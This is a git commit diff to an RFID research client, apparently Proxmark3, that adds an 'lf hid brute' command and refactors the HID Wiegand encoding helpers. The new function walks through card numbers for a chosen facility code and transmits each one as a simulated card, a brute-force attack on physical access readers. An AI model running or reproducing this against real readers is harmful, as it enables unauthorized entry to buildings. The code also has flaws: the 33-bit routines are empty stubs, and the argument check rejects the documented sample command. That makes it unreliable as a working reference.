ADD: "lf hid bruteforce" for a simple bruteforce attact against a HID reader. ...

diff --git a/client/cmdlfhid.c b/client/cmdlfhid.c
index b9d4b75e9067b78fa4af8f08a5985ac8de6c389a..02c2fdb789af32ea7ef948b4ea13c81987987add 100644 (file)
--- a/client/cmdlfhid.c
+++ b/client/cmdlfhid.c
@@ -17,23 +17,35 @@
 #include "cmdlfhid.h"
 #include "util.h"
 #include "cmdmain.h"
+#include "sleep.h"
 
 static int CmdHelp(const char *Cmd);
 
-int usage_hid_wiegand(){
-       PrintAndLog("Usage: lf hid wiegand [h] [formatlenght] [oem] [FacilityCode] [cardnumber]");
+int usage_lf_hid_wiegand(void){
+       PrintAndLog("Usage: lf hid wiegand [h] [oem] [FacilityCode] [cardnumber]");
        PrintAndLog("This command converts FC/Cardnum to wiegand code");
        PrintAndLog("Options:");
        PrintAndLog("       h                   - This help");
-       PrintAndLog("       formatlen   - Format length,  26|34|35|37|44|84");
        PrintAndLog("       oem                 - Oem number");
        PrintAndLog("       facilitynum - Facility number");
        PrintAndLog("       cardnum             - Card number");
        PrintAndLog("Examples:");
-       PrintAndLog("      lf hid wiegand 26 0 101 2001");
+       PrintAndLog("      lf hid wiegand 0 101 2001");
+       return 0;
+}
+int usage_lf_hid_brute(void){
+       PrintAndLog("Enables bruteforce of HID readers with specified facility-code.");
+       PrintAndLog("Different formatlength is supported");
+       PrintAndLog("This is a incremental attack against reader.");
+       PrintAndLog("");
+       PrintAndLog("Usage:  lf hid brute <formatlength> <Facility-Code>");
+       PrintAndLog("Options :");
+       PrintAndLog("  <formatlength>   : 26|33|34|35|37|40|44|84 ");
+       PrintAndLog("  <Facility-Code>  : 8-bit value HID facility code");
+       PrintAndLog("");
+       PrintAndLog("Sample  : lf hid brute 26 224");
        return 0;
 }
-
 /*
 int CmdHIDDemod(const char *Cmd)
 {
@@ -54,8 +66,7 @@ int CmdHIDDemod(const char *Cmd)
   return 0;
 }
 */
-int CmdHIDDemodFSK(const char *Cmd)
-{
+int CmdHIDDemodFSK(const char *Cmd) {
        int findone = ( Cmd[0] == '1' ) ? 1 : 0;
        UsbCommand c = {CMD_HID_DEMOD_FSK, {findone, 0 , 0}};
        clearCommandBuffer();
@@ -63,8 +74,7 @@ int CmdHIDDemodFSK(const char *Cmd)
        return 0;
 }
 
-int CmdHIDSim(const char *Cmd)
-{
+int CmdHIDSim(const char *Cmd) {
        unsigned int hi = 0, lo = 0;
        int n = 0, i = 0;
 
@@ -82,8 +92,7 @@ int CmdHIDSim(const char *Cmd)
        return 0;
 }
 
-int CmdHIDClone(const char *Cmd)
-{
+int CmdHIDClone(const char *Cmd) {
        unsigned int hi2 = 0, hi = 0, lo = 0;
        int n = 0, i = 0;
        UsbCommand c;
@@ -134,6 +143,9 @@ static void getParity26(uint32_t *hi, uint32_t *lo){
        for (i = 12;i >= 1;i--)
                result ^= (*lo >> i) & 1;
        *lo |= !result;
+}
+static void getParity33(uint32_t *hi, uint32_t *lo){
+
 }
 static void getParity34(uint32_t *hi, uint32_t *lo){
        uint32_t result = 0;
@@ -198,6 +210,9 @@ static void getParity37H(uint32_t *hi, uint32_t *lo){
 static void calc26(uint16_t fc, uint32_t cardno, uint32_t *hi, uint32_t *lo){
    *lo = ((cardno & 0xFFFF) << 1) | ((fc & 0xFF) << 17) | (1 << 26);
    *hi = (1 << 5);
+}
+static void calc33(uint16_t fc, uint32_t cardno, uint32_t *hi, uint32_t *lo){
+
 }
 static void calc34(uint16_t fc, uint32_t cardno, uint32_t *hi, uint32_t *lo){
   // put card number first bit 1 .. 20 //
@@ -209,87 +224,148 @@ static void calc35(uint16_t fc, uint32_t cardno, uint32_t *hi, uint32_t *lo){
        *lo = ((cardno & 0xFFFFF) << 1) | fc << 21; 
        *hi = (1 << 5) | ((fc >> 11) & 1);  
 }
-static void calc37S(uint16_t sc, uint32_t cn, uint32_t *hi, uint32_t *lo){
-       // SC 2 - 17   - 16 bit  
-       // CN 18 - 36  - 19 bit
+static void calc37S(uint16_t fc, uint32_t cardno, uint32_t *hi, uint32_t *lo){
+       // FC 2 - 17   - 16 bit  
+       // cardno 18 - 36  - 19 bit
        // Even P1   1 - 19
        // Odd  P37  19 - 36
 
-       sc = sc & 0xFFFF;
-       *lo = ( (sc << 20) | (cn & 0x7FFFF) << 1);
-       *hi = (sc >> 12);
+       fc = fc & 0xFFFF;
+       *lo = ((fc << 20) | (cardno & 0x7FFFF) << 1);
+       *hi = (fc >> 12);
 }
-static void calc37H(uint64_t cn, uint32_t *hi, uint32_t *lo){
+static void calc37H(uint64_t cardno, uint32_t *hi, uint32_t *lo){
        // SC NONE
-       // CN 1-35 34 bits 
+       // cardno 1-35 34 bits 
        // Even Parity  0th bit  1-18
        // Odd  Parity 36th bit 19-35
-       cn = (cn & 0x00000003FFFFFFFF);
-       *lo = (cn << 1);
-       *hi = (cn >> 31);
+       cardno = (cardno & 0x00000003FFFFFFFF);
+       *lo = (cardno << 1);
+       *hi = (cardno >> 31);
 }
-static void calc40(uint64_t cn, uint32_t *hi, uint32_t *lo){
-       cn = (cn & 0xFFFFFFFFFF);
-       *lo = ((cn & 0xFFFFFFFF) << 1 ); 
-       *hi = (cn >> 31);  
+static void calc40(uint64_t cardno, uint32_t *hi, uint32_t *lo){
+       cardno = (cardno & 0xFFFFFFFFFF);
+       *lo = ((cardno & 0xFFFFFFFF) << 1 ); 
+       *hi = (cardno >> 31);  
 }
 
-int CmdHIDWiegand(const char *Cmd)
-{
-       uint32_t oem;
-       uint32_t fmtlen = 0;
-       uint32_t fc, lo = 0, hi = 0;
-       uint64_t cn = 0;
-       uint32_t cardnum = 0;
-       
-       //uint32_t temp, p
-       uint8_t ctmp = param_getchar(Cmd, 0);
-       if ( strlen(Cmd) < 0 || strlen(Cmd) < 4 || ctmp == 'H' || ctmp == 'h' ) return usage_hid_wiegand();
-
-       fmtlen = param_get8(Cmd, 0);    
-       oem = param_get8(Cmd, 1);
-       fc = param_get32ex(Cmd, 2, 0, 10);
-       cn = param_get64ex(Cmd, 3, 0, 10);
+static void calcWiegand(uint8_t fmtlen, uint16_t fc, uint64_t cardno, uint32_t *hi, uint32_t *lo){
 
+       uint32_t cn = (cardno & 0xFFFFFFFF);
        switch ( fmtlen ) {
-               case 26 : {
-                       cardnum = (cn & 0xFFFFFFFF);
-                       calc26(fc, cardnum, &hi, &lo);
-                       getParity26(&hi, &lo);          
+               case 26 : {                     
+                       calc26(fc, cn, hi, lo);
+                       getParity26(hi, lo);            
+                       break;
+               }
+               case 33 : { 
+                       calc33(fc, cn, hi, lo);
+                       getParity33(hi, lo);    
                        break;
                }
                case 34 : {
-                       cardnum = (cn & 0xFFFFFFFF);
-                       calc34(fc, cardnum, &hi, &lo);
-                       getParity34(&hi, &lo);          
+                       calc34(fc, cn, hi, lo);
+                       getParity34(hi, lo);            
                        break;
                }
                case 35 : {
-                       cardnum = (cn & 0xFFFFFFFF);
-                       calc35(fc, cardnum, &hi, &lo);
-                       getParity35(&hi, &lo);
+                       calc35(fc, cn, hi, lo);
+                       getParity35(hi, lo);
                        break;
                }
                case 37 : {
-                       cardnum = (cn & 0xFFFFFFFF);
-                       calc37S(fc, cardnum, &hi, &lo);
-                       getParity37S(&hi, &lo);
+                       calc37S(fc, cn, hi, lo);
+                       getParity37S(hi, lo);
                        break;
                }
                case 38 : { 
-                       cardnum = (cn & 0xFFFFFFFF);
-                       calc37H(cardnum, &hi, &lo);
-                       getParity37H(&hi, &lo);
-                       break;
-               }
-               case 40 : {
-                       calc40(cn, &hi, &lo);
+                       calc37H(cn, hi, lo);
+                       getParity37H(hi, lo);
                        break;
                }
+               case 40 : calc40(cardno, hi, lo);       break;
                case 44 : { break; }
                case 84 : { break; }
        }
-       PrintAndLog("HID %d bit | FC: %d CN: %lld | Wiegand Code: %08X%08X", fmtlen, fc, cn, hi, lo);
+}      
+
+int CmdHIDWiegand(const char *Cmd) {
+       uint32_t oem;
+       uint32_t fc, lo = 0, hi = 0;
+       uint64_t cardnum = 0;
+       
+       uint8_t ctmp = param_getchar(Cmd, 0);
+       if ( strlen(Cmd) < 0 || strlen(Cmd) < 3 || ctmp == 'H' || ctmp == 'h' ) return usage_lf_hid_wiegand();
+
+       oem = param_get8(Cmd, 0);
+       fc = param_get32ex(Cmd, 1, 0, 10);
+       cardnum = param_get64ex(Cmd, 2, 0, 10);
+
+       uint8_t ftmlen[] = {26,33,34,35,37,38,40};
+       for (uint8_t i = 0; i < sizeof(ftmlen); i++){
+               calcWiegand( ftmlen[i], fc, cardnum, &hi, &lo);
+               PrintAndLog("HID %d bit | FC: %d CN: %llu | Wiegand Code: %08X%08X", ftmlen[i], fc, cardnum, hi, lo);
+       }
+       return 0;
+}
+
+int CmdHIDBrute(const char *Cmd){
+       
+       bool error = FALSE;
+       uint8_t fc = 0, fmtlen = 0;
+       uint32_t hi = 0, lo = 0;
+
+       UsbCommand c = {CMD_HID_SIM_TAG, {0, 0, 0}};  
+       
+       char cmdp = param_getchar(Cmd, 0);
+       if (strlen(Cmd) > 2 || strlen(Cmd) == 0 || cmdp == 'h' || cmdp == 'H') return usage_lf_hid_brute();
+
+       fmtlen = param_get8(Cmd, 0);
+       switch(fmtlen){
+               case 26:
+               case 33:
+               case 34:
+               case 35:
+               case 37: {
+                       error = FALSE;
+                       break;
+               }
+               default: {
+                       error = TRUE;
+                       break;
+               }
+       }
+       if ( error ) return usage_lf_hid_brute();
+       
+       fc =  param_get8(Cmd, 1);
+       if ( fc == 0) return usage_lf_hid_brute();
+       
+       PrintAndLog("Bruteforceing HID Reader");
+       PrintAndLog("Press pm3-button to abort simulation or run another command");
+
+       for ( uint16_t cn = 1; cn < 0xFFFF; ++cn){
+               if (ukbhit()) {
+                       PrintAndLog("aborted via keyboard!");
+                       c.cmd = CMD_PING;
+                       c.arg[0] = 0x00;
+                       c.arg[1] = 0x00;
+                       c.arg[2] = 0x00;
+                       clearCommandBuffer();
+                       SendCommand(&c);
+                       return 1;
+               }
+
+               calcWiegand( fmtlen, fc, cn, &hi, &lo);
+
+               c.arg[0] = hi;
+               c.arg[1] = lo;          
+               clearCommandBuffer();
+               SendCommand(&c);
+               
+               PrintAndLog("Trying FC: %u; CN: %u", fc, cn);
+               // pause
+               sleep(1);
+       }
        return 0;
 }
 

diff --git a/client/cmdlfhid.h b/client/cmdlfhid.h
index 3c86a1236079f6ded37a5021ad765035b1377aa1..2a0b5d2173feb01b6b35ea0514fb7019e4a1dfc8 100644 (file)
--- a/client/cmdlfhid.h
+++ b/client/cmdlfhid.h
@@ -16,8 +16,9 @@ int CmdLFHID(const char *Cmd);
 int CmdHIDDemodFSK(const char *Cmd);
 int CmdHIDSim(const char *Cmd);
 int CmdHIDClone(const char *Cmd);
-
 int CmdHIDWiegand(const char *Cmd);
+int CmdHIDBrute(const char *Cmd);
 
-int usage_hid_wiegand();
+int usage_lf_hid_wiegand(void);
+int usage_lf_hid_brute(void);
 #endif